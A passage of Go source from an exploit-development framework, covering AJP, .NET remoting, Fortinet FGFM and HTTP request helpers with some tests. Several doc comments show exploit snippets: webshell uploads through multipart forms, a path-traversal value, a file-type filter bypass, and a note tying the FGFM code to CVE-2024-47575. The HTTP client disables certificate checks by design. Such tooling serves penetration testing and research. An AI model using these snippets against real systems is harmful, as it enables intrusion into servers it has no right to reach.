recv an AJP message. // return the HTTP status, data, and bool indicating if we were successful or not. func SendAndRecv(host string, port int, ssl bool, uri string, verb string, headers []string, attributes []string) (int, string, bool) { // validate headers is well formed if (len(headers) % 2) != 0 { output.PrintFrameworkError("HTTP header key, value should each take an array slot") return 0, "", false } // validate attributes is well formed if (len(attributes) % 2) != 0 { output.PrintFrameworkError("Attibute key, value should each take an array slot") return 0, "", false } // build the AJP request and transform it depending on the verb req := createForwardRequest(host, port, ssl, uri, headers, attributes) switch strings.ToLower(verb) { case "get": setGetForwardRequest(&req) default: output.PrintFrameworkError("%s is not a currently supported verb", verb) return 0, "", false } // connect to the remote host conn, ok := protocol.MixedConnect(host, port, ssl) if !ok { return 0, "", false } // serialize the request into it's binary format and yeet it over the wire serialized := serializeForwardRequest(req) if !(protocol.TCPWrite(conn, serialized)) { return 0, "", false } return readRequestResponse(conn) } ================================================ FILE: protocol/ajp/ajp_test.go ================================================ package ajp import ( "bytes" "fmt" "strings" "testing" ) func TestStructCreation(t *testing.T) { req := createForwardRequest("127.0.0.1", 80, false, "/hello", []string{"accept", "text/html"}, []string{}) if req.protocol != "HTTP/1.1" { t.Error("Unexpected protocol specified") } // loop through the headers looking for the defaults foundHost := false foundAccept := false fmt.Println(req.headers) for _, header := range req.headers { if strings.HasPrefix(header, "accept") { foundAccept = true } if strings.HasPrefix(header, "host") { foundHost = true } } if !foundHost { t.Error("Missing Host header") } if !foundAccept { t.Error("Missing Accept header") } } func TestStructSerialize(t *testing.T) { req := createForwardRequest("127.0.0.1", 80, false, "/hello", []string{}, []string{}) setGetForwardRequest(&req) serialized := serializeForwardRequest(req) if serialized[0] != 0x12 || serialized[1] != 0x34 { t.Error("Invalid magic") } if serialized[4] != 0x02 { t.Errorf("Invalid code: %d", serialized[4]) } if serialized[5] != 0x02 { t.Errorf("Invalid method: %d", serialized[5]) } if serialized[6] != 0x00 && serialized[7] != 0x08 { t.Errorf("Invalid protocol length") } if !bytes.Equal(serialized[8:16], []byte("HTTP/1.1")) { t.Errorf("Invalid protocol version %s", string(serialized[8:16])) } } ================================================ FILE: protocol/dotnetremoting/dotnetremoting.go ================================================ // A library for .NET remoting functionality // // The exploit remoting service tool by tyranid was the primary reference for this implementation. // Note: Everything is in little endian // // Usage Example: // // data = "\x00\x00blahblah" // uri = "tcp://192.168.113.231:9999/SomeEndpoint" // // conn = get a net.Conn somehow... // newmessage := dotnetremoting.Message{} // newmessage.WriteDefaultPreamble(dotnetremoting.OperationRequest, len(data), uri) // _,err = conn.Write([]byte(newmessage.GetMessage(data))) // NOTE THE GetMessage call here, this finalizes the message // if err != nil { // fmt.Println(fmt.Sprintf("Error sending: %s", err)) // return // } // fmt.Println("sent") // // // recv from end // buf := make ([]byte, 4096) // _,err = conn.Read(buf) // fmt.Println(fmt.Sprintf("%x", buf)) // fmt.Println(fmt.Sprintf("%s", buf)) package dotnetremoting import ( "encoding/binary" "net" "net/url" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/transform" ) // types and 'enums'. type Message struct { PreambleData string HeaderData string } // Strings, because go thinks strings are as nifty as bytes. type MessageResponse struct { MajorVersion string MinorVersion string OperationType string ContentDistribution string DataLength int Headers map[string]string Data string } type OperationType string const ( // OPERATION TYPES (ushort) OperationTypeRequest OperationType = "\x00\x00" OperationTypeOneWayRequest OperationType = "\x01\x00" OperationTypeReply OperationType = "\x02\x00" ) type HeaderToken string const ( // HEADER TOKENS (ushort) HeaderTokenEndHeaders HeaderToken = "\x00\x00" HeaderTokenCustom HeaderToken = "\x01\x00" HeaderTokenStatusCode HeaderToken = "\x02\x00" HeaderTokenStatusPhrase HeaderToken = "\x03\x00" HeaderTokenRequestURI HeaderToken = "\x04\x00" HeaderTokenCloseConnection HeaderToken = "\x05\x00" HeaderTokenContentType HeaderToken = "\x06\x00" ) type HeaderDataFormat string const ( // HEADER DATA FORMAT (byte) HeaderDataFormatVoid HeaderDataFormat = "\x00" HeaderDataFormatCountedString HeaderDataFormat = "\x01" HeaderDataFormatByte HeaderDataFormat = "\x02" HeaderDataFormatUint16 HeaderDataFormat = "\x03" HeaderDataFormatInt32 HeaderDataFormat = "\x04" ) type ContentDistribution string const ( // CONTENT DISTRIBUTION (ushort) ContentDistributionNotChunked ContentDistribution = "\x00\x00" ContentDistributionChunked ContentDistribution = "\x01\x00" ) type StringEncoding string const ( // STRING ENCODING (byte) StringEncodingUnicode StringEncoding = "\x00" StringEncodingUtf8 StringEncoding = "\x01" ) type TCPStatusCode string const ( // TCP STATUS CODE (byte) TCPStatusCodeSuccess TCPStatusCode = "\x00" TCPStatusCodeError TCPStatusCode = "\x01" ) // The 'preamble' is basically the set of headers before the body. func (msg *Message) WritePreamble(uri string, opType OperationType, dataLength int, contentDistribution ContentDistribution, contentType string) { uriObj, err := url.Parse(uri) if err != nil { output.PrintfFrameworkError("Could not write preamble: error trying to parse provided uri=%s, err=%s", uri, err) return } msg.PreambleData = ".NET" msg.PreambleData += "\x01" // major version msg.PreambleData += "\x00" // minor version msg.PreambleData += string(opType) // operation type msg.PreambleData += string(contentDistribution) // content distribution msg.PreambleData += transform.PackLittleInt32(dataLength) // length of payload to be sent msg.AddContentTypeHeader(contentType) if uri != "" { msg.AddURIHeader(uri, HeaderTokenRequestURI) msg.AddCustomHeader("__RequestUri", uriObj.Path) } } // Can be used for 'most' things, otherwise use WritePreamble. func (msg *Message) WriteDefaultPreamble(uri string, opType OperationType, dataLength int) { msg.WritePreamble(uri, opType, dataLength, ContentDistributionNotChunked, "application/octet-stream") } // Run this when you are finished putting headers and such together. // This function will also add the end header so you should not write that part anywhere else. // Obviously pass "" as the arg if you do not have data to add. func (msg *Message) GetMessage(data string) string { return msg.PreambleData + msg.HeaderData + string(HeaderTokenEndHeaders) + data } // uri in this case should probably look something like tcp://1.2.3.4:2814/SomeEndpoint func (msg *Message) AddCustomHeader(headerName string, headerValue string) { msg.HeaderData += string(HeaderTokenCustom) addCountedString(&msg.HeaderData, StringEncodingUtf8, headerName) addCountedString(&msg.HeaderData, StringEncodingUtf8, headerValue) } // uri in this case should probably look something like tcp://1.2.3.4:2814/SomeEndpoint func (msg *Message) AddURIHeader(uri string, headerToken HeaderToken) { msg.HeaderData += string(headerToken) msg.HeaderData += string(HeaderDataFormatCountedString) addCountedString(&msg.HeaderData, StringEncodingUtf8, uri) } // this will probably be application/octet-stream almost every time but making options. func (msg *Message) AddContentTypeHeader(contentType string) { msg.HeaderData += string(HeaderTokenContentType) msg.HeaderData += string(HeaderDataFormatCountedString) addCountedString(&msg.HeaderData, StringEncodingUtf8, contentType) } func (msg *Message) AddStatusPhraseHeader(statusPhrase string) { // untested msg.HeaderData += string(HeaderTokenStatusPhrase) addCountedString(&msg.HeaderData, StringEncodingUtf8, statusPhrase) } func (msg *Message) AddCloseConnectionHeader() { // untested msg.HeaderData += string(HeaderTokenCloseConnection) msg.HeaderData += string(HeaderDataFormatVoid) } func (msg *Message) AddStatusCodeHeader(isError bool) { // untested msg.HeaderData += string(HeaderTokenStatusCode) if isError { msg.HeaderData += transform.PackLittleInt16(1) return } // success msg.HeaderData += transform.PackLittleInt16(0) } func (msg *MessageResponse) Dump() { output.PrintFrameworkStatus("Contents of message:") output.PrintfFrameworkStatus("Major Version: %s", msg.MajorVersion) output.PrintfFrameworkStatus("Minor Version: %s", msg.MinorVersion) output.PrintfFrameworkStatus("Operation Type Version: %s", msg.OperationType) output.PrintfFrameworkStatus("ContentDistribution: %s", msg.ContentDistribution) if len(msg.Headers) > 0 { output.PrintStatus("Headers:") for key, val := range msg.Headers { output.PrintfFrameworkStatus("Header Key: %s | Header Value: %s", key, val) } } output.PrintfFrameworkStatus("DataLength: %d", msg.DataLength) output.PrintfFrameworkStatus("Data: %s", msg.Data) } // Parsing functions. func ParseResponseFromConn(conn net.Conn) (MessageResponse, bool) { msg := MessageResponse{} magicBuf := make([]byte, 4) majorVerBuf := make([]byte, 1) minorVerBuf := make([]byte, 1) opTypeBuf := make([]byte, 2) contentDistributionBuf := make([]byte, 2) dataLengthBuf := make([]byte, 4) // checking magic bytes from message _, err := conn.Read(magicBuf) if err != nil { output.PrintFrameworkError("Could not parse magic from response") return MessageResponse{}, false } if string(magicBuf) != ".NET" { output.PrintfFrameworkError("Magic mismatch: received: %s/%x, expected: '.NET'", string(magicBuf), magicBuf) return MessageResponse{}, false } // finish parsing preamble _, err = conn.Read(majorVerBuf) if err != nil { output.PrintFrameworkError("Could not parse major version from response") return MessageResponse{}, false } msg.MajorVersion = string(majorVerBuf) _, err = conn.Read(minorVerBuf) if err != nil { output.PrintFrameworkError("Could not parse minor version from response") return MessageResponse{}, false } msg.MinorVersion = string(minorVerBuf) _, err = conn.Read(opTypeBuf) if err != nil { output.PrintFrameworkError("Could not parse operation type from response") return MessageResponse{}, false } msg.OperationType = string(opTypeBuf) _, err = conn.Read(contentDistributionBuf) if err != nil { output.PrintFrameworkError("Could not parse content distribution from response") return MessageResponse{}, false } msg.ContentDistribution = string(contentDistributionBuf) _, err = conn.Read(dataLengthBuf) if err != nil { output.PrintFrameworkError("Could not parse data length from response") return MessageResponse{}, false } msg.DataLength = int(binary.LittleEndian.Uint32(dataLengthBuf)) // take care of the headers headers, ok := readHeadersFromConn(conn) if !ok { output.PrintFrameworkError("Failed parsing headers from response") return MessageResponse{}, false } msg.Headers = headers msg.Data, ok = readNBytes(conn, msg.DataLength) if !ok { output.PrintFrameworkError("Failed reading data from response") return MessageResponse{}, false } return msg, true } //nolint:gocognit func readHeadersFromConn(conn net.Conn) (map[string]string, bool) { readHeaders := make(map[string]string) tokenBuf := make([]byte, 2) dataTypeBuf := make([]byte, 1) // read initial token _, err := conn.Read(tokenBuf) if err != nil { output.PrintFrameworkError("Failed reading initial token value from response") return map[string]string{}, false } // while we have not read the End of Headers 'token' for string(tokenBuf) != string(HeaderTokenEndHeaders) { name := string(tokenBuf) value := "" switch string(tokenBuf) { case string(HeaderTokenCustom): // HeaderTokenCustom // untested str, ok := readHeaderStringFromConn(conn) if !ok { output.PrintFrameworkError("Failed reading custom header name from response") return map[string]string{}, false } name = str str, ok = readHeaderStringFromConn(conn) if !ok { output.PrintFrameworkError("Failed reading custom header value from response") return map[string]string{}, false } value = str default: _, err := conn.Read(dataTypeBuf) if err != nil { output.PrintfFrameworkError("Failed reading data type, err=%s", err) return map[string]string{}, false } switch string(dataTypeBuf) { case string(HeaderDataFormatVoid): break case string(HeaderDataFormatCountedString): data, ok := readHeaderStringFromConn(conn) if !ok { output.PrintFrameworkError("Failed reading counted header string") return map[string]string{}, false } value = data case string(HeaderDataFormatByte): dataBuf := make([]byte, 1) _, err = conn.Read(dataBuf) if err != nil { output.PrintfFrameworkError("Failed reading format byte, err=%s", err) return map[string]string{}, false } value = string(dataBuf) case string(HeaderDataFormatUint16): dataBuf := make([]byte, 2) _, err = conn.Read(dataBuf) if err != nil { output.PrintfFrameworkError("Failed reading uint16, err=%s", err) return map[string]string{}, false } value = string(dataBuf) case string(HeaderDataFormatInt32): dataBuf := make([]byte, 4) _, err = conn.Read(dataBuf) if err != nil { output.PrintfFrameworkError("Failed reading uint32, err=%s", err) return map[string]string{}, false } value = string(dataBuf) } } output.PrintfFrameworkTrace("Parsed header: %s = %s", name, value) readHeaders[name] = value _, err = conn.Read(tokenBuf) if err != nil { output.PrintfFrameworkError("Failed reading token value, err=%s", err) return map[string]string{}, false } output.PrintfFrameworkTrace("token value %x", tokenBuf) } output.PrintFrameworkTrace("done parsing headers") return readHeaders, true } func readHeaderStringFromConn(conn net.Conn) (string, bool) { encodingTypeBuf := make([]byte, 1) stringLengthBuf := make([]byte, 4) _, err := conn.Read(encodingTypeBuf) if err != nil { output.PrintfFrameworkError("Failed reading encoding type from header string") return "", false } _, err = conn.Read(stringLengthBuf) if err != nil { output.PrintfFrameworkError("Failed reading string length from header string") return "", false } // encodingType := string(encodingTypeBuf) // sorry, just going to ignore this for now. stringLength := int(binary.LittleEndian.Uint32(stringLengthBuf)) stringData, ok := readNBytes(conn, stringLength) if !ok { return "", false } return stringData, true } // don't love this function. func readNBytes(conn net.Conn, n int) (string, bool) { data := "" buf := make([]byte, 1) // ugh... remaining := n for remaining > 0 { bytesRead, err := conn.Read(buf) if err != nil { output.PrintfFrameworkError("Failed reading N bytes from connection") return "", false } data += string(buf) remaining -= bytesRead } return data, true } // Helper functions. // This is private on purpose to promote helper functions to keep things easier to use. // //nolint:unparam func addCountedString(msg *string, encodingType StringEncoding, stringValue string) { *msg += string(encodingType) *msg += transform.PackLittleInt32(len(stringValue)) *msg += stringValue } ================================================ FILE: protocol/fortinet/fgfm.go ================================================ // Package fortinet is a very basic (and incomplete) implementation of Fortinet FGFM protocol package fortinet import ( "bytes" "crypto/tls" "encoding/binary" "net" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/protocol" ) // Creates and sends a Fortinet FGFM message to a FortiManager. // The format is closed source, but research by BF, Watchtowr, and Rapid7 have helped uncover the basic message header structure: // [4 bytes of magic header] // [4 bytes of total request length] // [n bytes request body data]. func SendFGFMMessage(conn net.Conn, payload string) bool { message := make([]byte, 0) // add magic header message = append(message, []byte("\x36\xe0\x11\x00")...) // build the total length field totalLengthField := make([]byte, 4) length := len(payload) + 8 binary.BigEndian.PutUint32(totalLengthField, uint32(length)) message = append(message, totalLengthField...) // add payload message = append(message, []byte(payload)...) return protocol.TCPWrite(conn, message) } // Reads response from a FortiManager. func ReadFGFMMessage(conn net.Conn) ([]byte, bool) { magic, ok := protocol.TCPReadAmount(conn, 4) if !ok || !bytes.Equal(magic, []byte("\x36\xe0\x11\x00")) { output.PrintFrameworkError("Failed to read server response with expected header") return nil, false } size, ok := protocol.TCPReadAmount(conn, 4) if !ok { output.PrintFrameworkError("Failed to read server response length") return nil, false } readSize := int(binary.BigEndian.Uint32(size)) data, ok := protocol.TCPReadAmount(conn, readSize-8) if !ok { output.PrintFrameworkError("Failed to read server response data") return nil, false } return data, true } // Fortimanager requires a connecting Fortigate instance to have a cert. // SSL is optional here so you have the choice to sign the traffic from the go-exploit framework, // or so you can send the exploit network traffic through a proxy like socat to sign the traffic for you. // Benefits to this include being able to generate pcaps of the unencrypted traffic // between go-exploit and your proxy. // See CVE-2024-47575 for additional information. func Connect(host string, port int, ssl bool, cert []byte, key []byte) (net.Conn, bool) { if ssl { cert, err := tls.X509KeyPair(cert, key) if err != nil { output.PrintFrameworkError("Failed to load x509 Key Pair") output.PrintfFrameworkDebug("Failed to load x509 Key Pair with error: %s", err) return nil, false } cfg := &tls.Config{Certificates: []tls.Certificate{cert}, InsecureSkipVerify: true} conn, ok := protocol.TCPConnect(host, port) if !ok { return nil, false } return tls.Client(conn, cfg), true } return protocol.TCPConnect(host, port) } ================================================ FILE: protocol/http-user-agent.txt ================================================ Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 ================================================ FILE: protocol/httphelper.go ================================================ // Network protocols. The core go-exploit protocol package contains a set of helper functions for common HTTP, TCP, and UDP actions and subpackages are provided to handle complex or specific use cases. package protocol import ( "bufio" "bytes" "crypto/tls" _ "embed" "fmt" "io" "mime/multipart" "net" "net/http" "net/textproto" "net/url" "strconv" "strings" "time" "github.com/vulncheck-oss/go-exploit/db" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/transform" ) // GlobalUA is the default User-Agent for all go-exploit comms // //go:embed http-user-agent.txt var GlobalUA string // GlobalCommTimeout is the default timeout for all socket communications. var GlobalCommTimeout = 10 // Returns a valid HTTP/HTTPS URL provided the given input. func GenerateURL(rhost string, rport int, ssl bool, uri string) string { url := "" if ssl { url += "https://" } else { url += "http://" } // is the address v6? ip := net.ParseIP(rhost) if ip != nil && ip.To4() == nil { rhost = "[" + rhost + "]" } url += rhost url += ":" url += strconv.Itoa(rport) url += uri return url } // Using the variable amount of paths, return a URI without any extra '/'. func BuildURI(paths ...string) string { uri := "/" for _, path := range paths { if !strings.HasSuffix(uri, "/") && !strings.HasPrefix(path, "/") { uri += "/" } uri += path } return uri } // BasicAuth takes a username and password and returns a string suitable for an Authorization header. // // resp, body, ok = protocol.HTTPSendAndRecvWithHeaders("GET", fmt.Sprintf("%s?%s", url, params), "", map[string]string{ // "Authorization": protocol.BasicAuth(conf.GetStringFlag("username"), conf.GetStringFlag("password")), // "Cookie": sessionID, // }) func BasicAuth(username, password string) string { return "Basic " + transform.EncodeBase64(username+":"+password) } func parseCookies(headers []string) string { cookies := make([]string, len(headers)) for i, cookie := range headers { cookies[i] = strings.Split(cookie, ";")[0] } return strings.Join(cookies, "; ") } // ParseCookies parses an HTTP response and returns a string suitable for a Cookie header. func ParseCookies(resp *http.Response) string { return parseCookies(resp.Header.Values("Set-Cookie")) } // Go doesn't always like sending our exploit URI so use this raw version. SSL not implemented. func DoRawHTTPRequest(rhost string, rport int, uri string, verb string) bool { // connect conn, success := TCPConnect(rhost, rport) if !success { return false } // is the address v6? ip := net.ParseIP(rhost) if ip != nil && ip.To4() == nil { rhost = "[" + rhost + "]" } httpRequest := verb + " " + uri + " HTTP/1.1\r\n" httpRequest += "Host: " + rhost + ":" + strconv.Itoa(rport) + "\r\n" if len(GlobalUA) != 0 { httpRequest += "User-Agent: " + GlobalUA + "\r\n" } httpRequest += "Accept: */*\r\n" httpRequest += "\r\n" success = TCPWrite(conn, []byte(httpRequest)) if !success { return false } // don't currently care about the response. Read a byte and move on' _, success = TCPReadAmount(conn, 1) return success } // Cache the respsone in the database for later reuse. func cacheResponse(req *http.Request, resp *http.Response) { parsedURL, _ := url.Parse(req.URL.String()) port, err := strconv.Atoi(parsedURL.Port()) if err != nil { output.PrintFrameworkError(err.Error()) return } respBuffer := &bytes.Buffer{} err = resp.Write(respBuffer) if err != nil { output.PrintfFrameworkError("Resp write error: %s", err.Error()) return } db.CacheHTTPResponse(parsedURL.Hostname(), port, parsedURL.Path, respBuffer.Bytes()) } // Look up matching URI in the HTTP cache and return it if found. func cacheLookup(uri string) (*http.Response, string, bool) { parsedURL, _ := url.Parse(uri) port, err := strconv.Atoi(parsedURL.Port()) if err != nil { output.PrintFrameworkError(err.Error()) return nil, "", false } cachedResp, ok := db.GetHTTPResponse(parsedURL.Hostname(), port, parsedURL.Path) if !ok { // didn't get any cache data. no big deal. return nil, "", false } resp, err := http.ReadResponse(bufio.NewReader(strings.NewReader(cachedResp)), nil) if err != nil { output.PrintFrameworkError(err.Error()) return nil, "", false } defer resp.Body.Close() bodyBytes, err := io.ReadAll(resp.Body) if err != nil { // seen this fail when, for example, Shodan messes with chunking output.PrintFrameworkError(err.Error()) return nil, "", false } if bytes.HasPrefix(bodyBytes, []byte("\x1f\x8b\x08")) { // if the data in the cache is still compressed, decompress it bodyBytes, ok = transform.Inflate(bodyBytes) if !ok { return nil, "", false } } output.PrintfFrameworkTrace("HTTP cache hit: %s", uri) bodyString := string(bodyBytes) return resp, bodyString, true } // Provided an HTTP client and a request, this function triggers the HTTP request and converts // the response body to a string. func DoRequest(client *http.Client, req *http.Request) (*http.Response, string, bool) { resp, err := client.Do(req) if err != nil { output.PrintfFrameworkError("HTTP request error: %s", err) return resp, "", false } defer resp.Body.Close() bodyBytes, _ := io.ReadAll(resp.Body) return resp, string(bodyBytes), true } // Turns net/http []*Cookie into a string for adding to the Cookie header. // // if resp.StatusCode == 302 { // output.PrintfStatus("Account '%s' appears to be successfully registered with password '%s'", email, password) // // return protocol.CookieString(resp.Cookies()), true // } func CookieString(cookies []*http.Cookie) string { cookieString := "" for c, cookie := range cookies { if c == 0 { cookieString += cookie.Name + "=" + cookie.Value + ";" } else { cookieString += " " + cookie.Name + "=" + cookie.Value + ";" } } return cookieString } // Converts a map of strings into a single string in application/x-www-urlencoded format (but does not encode the params). func CreateRequestParams(params map[string]string) string { data := "" for key, element := range params { if len(data) > 0 { data += "&" } data += (key + "=" + element) } return data } // CreateRequestParamsEncoded is the encoded version of CreateRequestParams. func CreateRequestParamsEncoded(params map[string]string) string { paramsCopy := make(map[string]string) for k, v := range params { paramsCopy[k] = url.QueryEscape(v) } return CreateRequestParams(paramsCopy) } // Provided a map of headers, this function loops through them and sets them in the http request. func SetRequestHeaders(req *http.Request, headers map[string]string) { for key, value := range headers { if key == "Host" { // host can't be set directly req.Host = value } else { // don't use the Set function because the module might modify key. Set the header directly. req.Header[key] = []string{value} } } } // Creates the HTTP client, generates the HTTP request, and sets the default user-agent. func CreateRequest(verb string, url string, payload string, followRedirect bool) (*http.Client, *http.Request, bool) { var client *http.Client if !followRedirect { client = &http.Client{ Transport: &http.Transport{ Proxy: http.ProxyFromEnvironment, Dial: (&net.Dialer{ Timeout: time.Duration(GlobalCommTimeout) * time.Second, }).Dial, TLSClientConfig: (&tls.Config{ InsecureSkipVerify: true, // We have no control over the SSL versions supported on the remote target. Be permissive for more targets. MinVersion: tls.VersionSSL30, }), }, Timeout: time.Duration(GlobalCommTimeout) * time.Second, CheckRedirect: func(_ *http.Request, _ []*http.Request) error { return http.ErrUseLastResponse }, } } else { client = &http.Client{ Transport: &http.Transport{ Proxy: http.ProxyFromEnvironment, Dial: (&net.Dialer{ Timeout: time.Duration(GlobalCommTimeout) * time.Second, }).Dial, TLSClientConfig: (&tls.Config{ InsecureSkipVerify: true, // We have no control over the SSL versions supported on the remote target. Be permissive for more targets. MinVersion: tls.VersionSSL30, }), }, Timeout: time.Duration(GlobalCommTimeout) * time.Second, } } req, err := http.NewRequest(verb, url, strings.NewReader(payload)) if err != nil { output.PrintfFrameworkError("HTTP request creation error: %s", err) return nil, nil, false } // set headers on the request req.Header.Set("User-Agent", GlobalUA) return client, req, true } // Generic send HTTP request and receive response. func HTTPSendAndRecv(verb string, url string, payload string) (*http.Response, string, bool) { client, req, ok := CreateRequest(verb, url, payload, true) if !ok { return nil, "", false } return DoRequest(client, req) } // Send a HTTP GET request and cache it in the go-exploit database. func HTTPGetCache(url string) (*http.Response, string, bool) { // first see if we have it cached somewhere if db.GlobalSQLHandle != nil { resp, body, ok := cacheLookup(url) if ok { return resp, body, true } } client, req, ok := CreateRequest("GET", url, "", true) if !ok { return nil, "", false } resp, err := client.Do(req) if err != nil { output.PrintfFrameworkError("HTTP request error: %s", err) return resp, "", false } defer resp.Body.Close() bodyBytes, _ := io.ReadAll(resp.Body) bodyString := string(bodyBytes) if db.GlobalSQLHandle != nil { // shove the body back in to be re-read for storage resp.Body = io.NopCloser(bytes.NewBuffer(bodyBytes)) cacheResponse(req, resp) } return resp, bodyString, true } // Send an HTTP request but do not follow the 302 redirect. func HTTPSendAndRecvNoRedirect(verb string, url string, payload string) (*http.Response, string, bool) { client, req, ok := CreateRequest(verb, url, payload, true) if !ok { return nil, "", false } // ignore the redirect client.CheckRedirect = func(_ *http.Request, _ []*http.Request) error { return http.ErrUseLastResponse } return DoRequest(client, req) } // Send an HTTP request, with the provided parameters in the params map stored in the body. // Return the response and response body. // // Note that this function *will not* attempt to url encode the params. func HTTPSendAndRecvURLEncoded(verb string, url string, params map[string]string) (*http.Response, string, bool) { payload := CreateRequestParams(params) client, req, ok := CreateRequest(verb, url, payload, true) if !ok { return nil, "", false } req.Header.Set("Content-Type", "application/x-www-form-urlencoded") return DoRequest(client, req) } // Send an HTTP request, with the provided parameters in the params map URL encoded in the body. // Return the response and response body. // // Note that this function *will* attempt to url encode the params. func HTTPSendAndRecvURLEncodedParams(verb string, url string, params map[string]string) (*http.Response, string, bool) { payload := CreateRequestParamsEncoded(params) client, req, ok := CreateRequest(verb, url, payload, true) if !ok { return nil, "", false } req.Header.Set("Content-Type", "application/x-www-form-urlencoded") return DoRequest(client, req) } // Send an HTTP request, with the provided parameters in the params map stored in the body, and // with extra headers specified in the headers map. Return the response and response body. // // Note that this function *will not* attempt to url encode the params. func HTTPSendAndRecvURLEncodedAndHeaders(verb string, url string, params map[string]string, headers map[string]string, ) (*http.Response, string, bool) { payload := CreateRequestParams(params) client, req, ok := CreateRequest(verb, url, payload, true) if !ok { return nil, "", false } req.Header.Set("Content-Type", "application/x-www-form-urlencoded") SetRequestHeaders(req, headers) return DoRequest(client, req) } // Send an HTTP request, with the provided parameters in the params map URL encoded in the body, and // with extra headers specified in the headers map. Return the response and response body. // // Note that this function *will* attempt to url encode the params. func HTTPSendAndRecvURLEncodedParamsAndHeaders(verb string, url string, params map[string]string, headers map[string]string, ) (*http.Response, string, bool) { payload := CreateRequestParamsEncoded(params) client, req, ok := CreateRequest(verb, url, payload, true) if !ok { return nil, "", false } req.Header.Set("Content-Type", "application/x-www-form-urlencoded") SetRequestHeaders(req, headers) return DoRequest(client, req) } // Send an HTTP request with extra headers specified in the headers map. Return the response and response body. func HTTPSendAndRecvWithHeaders(verb string, url string, payload string, headers map[string]string) (*http.Response, string, bool) { client, req, ok := CreateRequest(verb, url, payload, true) if !ok { return nil, "", false } SetRequestHeaders(req, headers) return DoRequest(client, req) } // Send an HTTP request with extra headers and does not follow redirects. This naming scheme is a little out of control. func HTTPSendAndRecvWithHeadersNoRedirect(verb string, url string, payload string, headers map[string]string, ) (*http.Response, string, bool) { client, req, ok := CreateRequest(verb, url, payload, true) if !ok { return nil, "", false } // ignore the redirect client.CheckRedirect = func(_ *http.Request, _ []*http.Request) error { return http.ErrUseLastResponse } SetRequestHeaders(req, headers) return DoRequest(client, req) } // Create a HTTP multipart form and writer. This is a helper function around the Go standard library packages and can be combined with MultipartAddField, MultipartAddPart, and MultipartAddFile functions to quickly create complicated multipart requests. // // form, formWriter := protocol.MultipartCreateForm() // protocol.MultipartAddPart(formWriter, map[string]string{ // "Content-Disposition": `form-data; name="uploadPath"`, // }, `/`) // protocol.MultipartAddPart(formWriter, map[string]string{ // "Content-Disposition": `form-data; name="uploadFile_x"`, // }, `-1000`) // protocol.MultipartAddPart(formWriter, map[string]string{ // "Content-Disposition": `form-data; name="uploadFile_y"`, // }, `-1000`) // protocol.MultipartAddPart(formWriter, map[string]string{ // "Content-Disposition": `form-data; name="uploadFile_width"`, // }, `1920`) // protocol.MultipartAddPart(formWriter, map[string]string{ // "Content-Disposition": `form-data; name="uploadFile_height"`, // }, `1080`) // protocol.MultipartAddFile(formWriter, "uploadFile", fmt.Sprintf("%s.bmp", name), "image/bmp", webshellData) // formWriter.Close() // // url := conf.GenerateURL("/simpleeditor/imageManager/uploadImage.do") // headers := map[string]string{ // "Content-Type": fmt.Sprintf(`multipart/form-data; boundary="%s"`, formWriter.Boundary()), // } // // output.PrintfStatus("Exploiting %s", url) // resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("POST", url, form.String(), headers) // if !ok { // return false // } // if resp.StatusCode != 200 { // output.PrintfDebug("RunExploit failed: status-code=%d resp=%#v body=%q", resp.StatusCode, resp, body) // // return false // } func MultipartCreateForm() (*strings.Builder, *multipart.Writer) { form := &strings.Builder{} w := multipart.NewWriter(form) return form, w } // Adds a multipart field for data values without additional header or file requirements. // // output.PrintfStatus("Uploading file: %s", fileName) // form, w := protocol.MultipartCreateForm() // // protocol.MultipartAddField(w, "action", "wpr_addons_upload_file") // protocol.MultipartAddField(w, "max_file_size", "0") // protocol.MultipartAddField(w, "allowed_file_types", "ph$p") // protocol.MultipartAddField(w, "triggering_event", "click") // protocol.MultipartAddField(w, "wpr_addons_nonce", nonce) // protocol.MultipartAddFile(w, "uploaded_file", fileName, "text/plain", generated) // // w.Close() func MultipartAddField(writer *multipart.Writer, name string, value string) bool { fw, err := writer.CreateFormField(name) if err != nil { return false } _, err = io.Copy(fw, strings.NewReader(value)) return err == nil } // MultipartCreateFormFields generates multipart form data out of the field names and values // provided via fieldMap and writes this to writer. It returns a bool to indicate success or failure. // // webshellName := fmt.Sprintf("%s.php", random.RandLettersRange(3, 5)) // form, formWriter := protocol.MultipartCreateForm() // fields := map[string]string{ // "dzuuid": uuid.NewString(), // "dzchunkindex": "0", // "dztotalfilesize": fmt.Sprintf("%d", len(webshellContents)), // "dzchunksize": "2000000", // "dztotalchunkcount": "1", // "dzchunkbyteoffset": "0", // "fwbrand": conf.GetStringFlag("path"), // "fwmodel": random.RandLettersRange(3, 5), // "fwversion": fmt.Sprintf("%d", random.RandIntRange(1, 10)), // } // // if !protocol.MultipartCreateFormFields(formWriter, fields) { // output.PrintDebug("Failed creating multipart form fields") // // return "", false // } // // if !protocol.MultipartAddFile(formWriter, "file", webshellName, "application/octet-stream", webshellContents) { // output.PrintDebug("Failed adding file to multipart form") // // return "", false // } // // formWriter.Close() // // resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("POST", url, form.String(), map[string]string{ // "Cookie": cookies, // "Content-Type": formWriter.FormDataContentType(), // "Referer": conf.GenerateURL("/admin/config.php?display=endpoint&view=custfwupgrade"), // }) // if !ok { // return "", false // } func MultipartCreateFormFields(writer *multipart.Writer, fieldMap map[string]string) bool { for fieldName, value := range fieldMap { if ok := MultipartAddField(writer, fieldName, value); !ok { return false } } return true } // Create part for multipart forms that can include the header types. // // form, formWriter := protocol.MultipartCreateForm() // protocol.MultipartAddPart(formWriter, map[string]string{ // "Content-Disposition": `form-data; name="real"`, // "Content-Type": "text/plain", // }, fmt.Sprintf(`/../../../%s/`, mainPath)) // protocol.MultipartAddPart(formWriter, map[string]string{ // "Content-Disposition": `form-data; name="version"`, // "Content-Type": "text/plain", // }, random.RandLettersRange(8, 10)) // protocol.MultipartAddFile( // formWriter, // "file", // random.RandLettersRange(8, 17)+".zip", // "application/octet-stream", // string(zipFile), // ) // formWriter.Close() func MultipartAddPart(writer *multipart.Writer, headers map[string]string, body string) bool { h := make(textproto.MIMEHeader) for k, v := range headers { h.Set(k, v) } fw, err := writer.CreatePart(h) if err != nil { return false } _, err = 